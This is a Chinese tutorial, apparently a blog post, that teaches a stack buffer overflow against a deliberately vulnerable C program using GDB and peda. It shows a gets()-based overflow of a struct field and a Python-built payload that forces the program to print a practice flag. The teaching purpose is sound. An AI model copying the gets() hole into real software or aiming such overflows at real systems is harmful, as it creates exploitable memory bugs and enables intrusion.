这将是一个连载,也是我的学习过程的记录,有任何问题麻烦拉到页面最下方,使用评论功能告诉我。
贵司的猫猫 哞哞
镇楼
首先假设已经有了 C 语言的基础知识,还有简单的汇编和了解内存栈结构,如果这些也不懂,还是需要先回去学习基础知识。
以后不特殊说明的话,环境都是 Ubuntu 16.04.2 x86-64
gcc version 5.4.0
GDB version 7.11.1
。
安装 peda
peda 是 GDB 的一个插件,提供了很多方便我们调试和漏洞利用的功能。源码和安装方式在 https://github.com/longld/peda
下面的代码我也忘了来源了,反正是充满了暴力气息的一段代码。
#include <stdio.h>
struct Student {
char name[64];
char s;
int birth;
};
int main(int argc, char **argv) {
struct Student student;
student.s = 'c';
printf("What's Your Birth?\n");
scanf("%d", &student.birth);
while (getchar() != '\n') ;
if (student.birth == 1926) {
printf("You Cannot Born In 1926!\n");
return 0;
}
printf("What's Your Name?\n");
gets(student.name);
printf("You Are Born In %d\n", student.birth);
if (student.birth == 1926) {
printf("You Shall Have The Flag.\n");
system("cat flag");
} else {
printf("You Are Naive.\n");
printf("You Spend One Second Here.\n");
}
return 0;
}
gcc -g -O0 -o vuln main.c
编译
GDB调试指令
gdb ./vuln
如果成功安装了peda,就可以看到 gdb-peda$
的提示了。
常用的指令就不多说了,比如 list(l)
break(b)
等。
通过 l
浏览了代码,就可以使用 b $line_number
的方式下断点了,比如想让代码停在 14 行,然后看 student
变量的内存分布,那我们可以输入b 14
。
通过 info breakpoints
可以看到所有的断点。
r
指令是运行这个调试程序,然后看到进程成功的停在了我们的断点处。
gdb-peda$ r
...
Breakpoint 1, main (argc=0x1, argv=0x7fffffffe568) at main.c:14
14 printf("What's Your Birth?\n");
至于下面的一堆汇编输出,我们后面再说。
万物皆可 print
下断点就是为了查看 student
结构体的内存分布,C 语言里面很多函数在这里也是类似的用法的。
gdb-peda$ p sizeof(student)
$1 = 0x48
gdb-peda$ p sizeof(student.birth)
$2 = 0x4
gdb-peda$ p sizeof(student.name)
$3 = 0x40
gdb-peda$ p sizeof(student.s)
$4 = 0x1
gdb-peda$ p &student
$5 = (struct Student *) 0x7fffffffe2f0
gdb-peda$ p &(student.name)
$6 = (char (*)[64]) 0x7fffffffe2f0
gdb-peda$ p &(student.s)
$7 = 0x7fffffffe330 "c\344\377\377\205\a"
gdb-peda$ p &(student.birth)
$8 = (int *) 0x7fffffffe334
可以看到 student
结构体是 72 个字节大小,student
结构体和 student.name
起始内存地址都是 0x7fffffffe2f0
,因为在内存中本来就没有结构体这种东西。
至于为什么是 72 个字节,而不是 4+64+1=69
个字节呢?
那是因为 s
成员是 char
类型的,1 个字节,如果接下来就存储 birth
,那么这就是一个跨边界的数据,计算机可能需要更多的指令才能读取,为了加快内存访问速度进行了内存对齐操作,把 s
所在的内存后面空了 3 个字节,关于内存对齐,可以参考 https://github.com/ludx/The-Lost-Art-of-C-Structure-Packing
查看指定的内存地址的数据
这里使用的是 x
指令,它有三个可选参数 x/<n/f/u> $addr
n
是一个正整数,表示需要显示的内存单元的个数,也就是说从当前地址向后显示几个内存单元的内容,一个内存单元的大小由后面的 u
定义。
f
表示显示的格式,比如 x
按十六进制格式显示变量, d
是按十进制格式显示变量。
u
表示从当前地址往后请求的字节数,如果不指定的话,GDB 默认是 4 个 bytes。u
参数可以用下面的字符来代替,b
表示单字节,h
表示双字节,w
表示四字节,g
表示八字节。当我们指定了字节长度后,GDB会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。
为了打印 student
结构体的内存分布,先在第 21 行下断点,然后让进程继续执行直到下一个断点。
gdb-peda$ b 21
Breakpoint 2 at 0x40079d: file main.c, line 21.
gdb-peda$ c
Continuing.
What's Your Name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
Legend: code, data, rodata, value
Breakpoint 2, main (argc=0x1, argv=0x7fffffffe428) at main.c:21
21 printf("You Are Born In %d\n", student.birth);
然后就可以
gdb-peda$ x/72xb &student
0x7fffffffe2f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe2f8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe300: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe308: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe310: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe318: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe320: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe328: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x00
0x7fffffffe330: 0x63 0xe4 0xff 0xff 0x85 0x07 0x00 0x00
前 64 个字节就是字母 A
的 ASCII 0x41
,然后是 0x00
字符串结尾,然后是代码中写死的 c
字母 0x63
,然后跳过三个字节之后还剩四个字节,就是一个 int
数字。
从最后 4 个字节分布可以看出来,对于 int 0x00000785
这种多字节变量,它们的低字节在内存低地址处,高字节在内存高地址处,这种分布方式称为小端序,还有的机器是反过来的,叫做大端序。对于 char
这种单字节变量和 student.name
这种数组来说,没有大小端的问题,
分析内存结构
这里问题就很清晰了,student.name
数组没有限制长度,如果我们输入超过 63 位的话,多出来的内容将覆盖 student.s
的内存(注意字符串的结尾),如果输入再长的话,就会覆盖 student.birth
的内存空间。
所以我们可以确定 student.name
的输入长度是 70 字节,前面 68 字节可以是任意构造,只要认真构造最后两个字节,让 student.birth
的内存为 0x00000786
就可以,所以我们构造的payload就是AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x07
然后这种特殊的字符我们都可以使用 Python 输入到文件中,然后重定向输入的
➜ Desktop python -c "print '1234\n' + 'A' * 68 + '\x86\x07\n'" > 1.in
➜ Desktop ./vuln < 1.in
What's Your Birth?
What's Your Name?
You Are Born In 1926
You Shall Have Flag.
THIS_IS_FLAG
GDB 也可以使用这种重定向输入的
gdb-peda$ b 21
Breakpoint 1 at 0x40079d: file main.c, line 21.
gdb-peda$ r < 1.in
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < 1.in
What's Your Birth?
What's Your Name?
...
Breakpoint 1, main (argc=0x1, argv=0x7fffffffe428) at main.c:21
21 printf("You Are Born In %d\n", student.birth);
gdb-peda$ x/72xb &student
0x7fffffffe2f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe2f8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe300: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe308: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe310: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe318: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe320: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe328: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe330: 0x41 0x41 0x41 0x41 0x86 0x07 0x00 0x00
可以看到我们控制了 student
的内存,让代码进入了指定的分支。